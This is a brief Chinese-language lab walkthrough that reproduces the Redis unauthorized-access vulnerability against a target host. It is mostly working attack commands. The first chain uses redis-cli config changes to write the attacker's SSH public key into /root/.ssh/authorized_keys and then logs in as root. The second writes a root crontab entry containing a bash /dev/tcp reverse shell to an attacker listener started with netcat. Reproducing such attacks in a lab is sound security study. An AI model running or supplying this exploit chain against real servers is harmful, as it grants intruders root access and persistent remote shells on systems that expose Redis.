redis未授权访问漏洞复现
redis漏洞复现
本机需安装redis服务
redis-cli -h 192.168.7.134
如果开放ssh端口
靶机中执行 mkdir /root/.ssh命令,创建ssh公钥存放目录
在攻击机中生成ssh公钥和私钥,密码设置为空 ssh-keygen -t rsa
进入ssh目录 cd ./.ssh
进入 .ssh目录 ,将生成的目录保存到1.txt ,方便之后进行上传
(echo -e "\n\n";cat id_rsa.pub; echo -e "\n\n")>1.txt
将1.txt写靶机(使用redis-cli -h ip 命令连接靶机,写入文件)
cat 1.txt|redis-cli -h 192.168.7.134 -x set crack
本机需安装redis apt-get install redis
redis-cli -h 192.168.7.134
使用config get dir 命令的得到redis备份的路径
更改Redis备份路径为ssh公钥存放目录(一般默认是/root/.ssh)
config set dir /root/.ssh
设置上传公钥的备份文件名字为authorized_keysconfig
config set dbfilename authorized_keys
保存 save
检查是否更改成功 config get dbfilename
私钥登录ssh -i id_rsa root@192.168.7.134
利用crontab反弹shell
kail nc -lvnp 1234
服务器
set 1 "\n\n\n\n* * * * * root bash -i >& /dev/tcp/172.16.15.10/1234 0>&1\n\n\n\n"
config set dir /etc/
config set dbfilename crontab
save